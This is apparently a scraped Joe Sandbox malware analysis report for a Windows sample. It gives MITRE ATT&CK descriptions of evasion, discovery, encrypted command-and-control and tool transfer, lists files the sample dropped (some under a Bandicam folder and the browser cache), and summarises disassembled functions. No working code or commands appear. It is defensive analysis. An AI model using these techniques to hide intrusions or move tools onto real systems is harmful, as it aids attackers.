Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LisectAVT_2403002B_295.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Bandicam\4.bin

C:\Program Files (x86)\Bandicam\QT.exe

C:\Program Files (x86)\Bandicam\msvcp120.dll

C:\Program Files (x86)\Bandicam\msvcp140.dll

C:\Program Files (x86)\Bandicam\msvcr120.dll

C:\Program Files (x86)\Bandicam\vcruntime140.dll

C:\Program Files (x86)\Bandicam\x32bridge.dll

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LisectAVT_2403002B_295.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\qd[1].bin

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\QT[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\vcruntime140[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp120[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcr120[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\x32bridge[1].dll

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41u3ywjz.k0p.psm1

Windows Analysis Report
LisectAVT_2403002B_295.exe

Function 00192EC0 Relevance: 47.4, APIs: 14, Strings: 13, Instructions: 145
COMMON

Function 00193150 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 223
networksleepfileCOMMON

Function 00192E30 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 36
threadCOMMON

Function 001B42EE Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Function 00192CB0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 92
networkfileCOMMON

Function 001934B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42
sleepCOMMON

Function 00194480 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 157
COMMON

Function 001A9E4C Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Function 001978F0 Relevance: 4.7, APIs: 3, Instructions: 248
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre